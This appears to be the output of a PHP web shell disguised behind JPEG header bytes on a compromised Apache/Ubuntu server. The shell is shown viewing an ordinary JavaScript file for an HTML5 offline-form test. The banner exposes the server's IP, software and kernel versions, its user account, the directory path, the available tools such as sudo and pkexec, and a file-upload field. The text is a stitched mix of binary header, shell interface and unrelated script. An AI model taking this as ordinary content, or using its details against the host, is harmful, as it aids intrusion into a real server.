????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.120 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/labs.astacus.se/HTML5TEST/ |
Upload File : |
// JavaScript Document
// Global variables
var hasBeenOffline = false;
// Init the site to check for Internet each 10s
function init(){
setInterval("checkStatus()",10000);
FillForm();
getVersion();
}
// Checks if online.png file can be found on the server. It is NEVER cached so it can only be found if
// user is online.
function checkStatus(){
img = new Image();
img.onerror = function (evt) {
offline();
}
img.onload = function (evt){
online();
}
img.src = "http://labs.astacus.se/HTML5TEST/online.png";
}
// Sets the image to offline
function offline(){
document.getElementById('offlineIMG').src = "http://labs.astacus.se/HTML5TEST/offline.png";
hasBeenOffline = true;
}
// Sets the image to online
function online(){
document.getElementById('offlineIMG').src = "http://labs.astacus.se/HTML5TEST/online.png";
if(hasBeenOffline == true){
FillForm();
localStorage.clear();
hasBeenOffline = false;
var r=confirm("Vill du synkronisera all data?");
}
}
// Add Items to a select menu
function addSelectItems(selectId, items){
var select = document.getElementById(selectId);
select.options.length = 0;
for(index in items) {
select.options[select.options.length] = new Option(myobject[index], index);
}
}
// Gets the current version from offline.manifest
function getVersion(){
var version = document.getElementById("version");
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://labs.astacus.se/HTML5TEST/offline.manifest",false);
xmlhttp.send();
var text = xmlhttp.responseText;
var lines = text.split("\n");
for (var n=0; n<lines.length; n++)
{
var line = lines[n];
if(line.indexOf("version") !== -1){
version.innerHTML = line;
}
}
}
// Creates an XML of all fields data and saves it in localStorage called localXML
function submit_xml(){
var formname = document.forms[0].name;
var path = document.location;
var formUniqueId = 1;
var xml = '<?xml version="1.0" encoding="UTF-8"?>\n<Form>\n<FormName>'+formname+'</FormName>\n<FormPath>'+path+'</FormPath>\n<FormUniqueId>'+formUniqueId+'</FormUniqueId>\n<Fields>\n';
for (i=0; i<document.forms[0].elements.length; i++)
{
var type = document.forms[0].elements[i].type;
var name = document.forms[0].elements[i].name;
var value = document.forms[0].elements[i].value;
xml += '<Field>\n';
xml += ' <FieldName>'+name+'</FieldName>\n';
xml += ' <FieldType>'+type+'</FieldType>\n';
xml += ' <FieldValue>'+value+'</FieldValue>\n';
xml += '</Field>\n';
}
xml += '</Fields></Form>\n';
localStorage.setItem("localXML", xml);
}
// Fills the forms based on saved localStorage called localXML
function FillForm(){
xml = localStorage.getItem("localXML");
if (window.DOMParser)
{
parser=new DOMParser();
xmlDoc=parser.parseFromString(xml,"text/xml");
}
else // Internet Explorer
{
xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.loadXML(xml);
}
var FormName = xmlDoc.getElementsByTagName("FormName")[0].childNodes[0].nodeValue;
var Fields = xmlDoc.getElementsByTagName("Fields");
for (i=0;i<Fields.length;i++){
var Field = Fields[i].getElementsByTagName("Field");
for (j=0;j<Field.length;j++){
var FieldName = Field[j].getElementsByTagName("FieldName")[0].childNodes[0].nodeValue;
var FieldType = Field[j].getElementsByTagName("FieldType")[0].childNodes[0].nodeValue;
var FieldValue = Field[j].getElementsByTagName("FieldValue")[0].childNodes[0].nodeValue;
var oForm = document.forms[FormName];
if(FieldType == "checkbox"){
if(FieldValue == "1"){
oForm[FieldName].checked = true;
}else{
oForm[FieldName].checked = false;
}
}else if(FieldType == "radio"){
for(a=0;a<oForm[FieldName].length;a++){
if( oForm[FieldName][a].value == FieldValue){
oForm[FieldName][a].checked = true;
}
}
}else if(FieldType == "text"){
oForm[FieldName].value = FieldValue;
}else if(FieldType == "select-one"){
for(a=0;a<oForm[FieldName].length;a++){
if( oForm[FieldName][a].value == FieldValue){
oForm[FieldName][a].selected = true;
}
}
}
}
}
}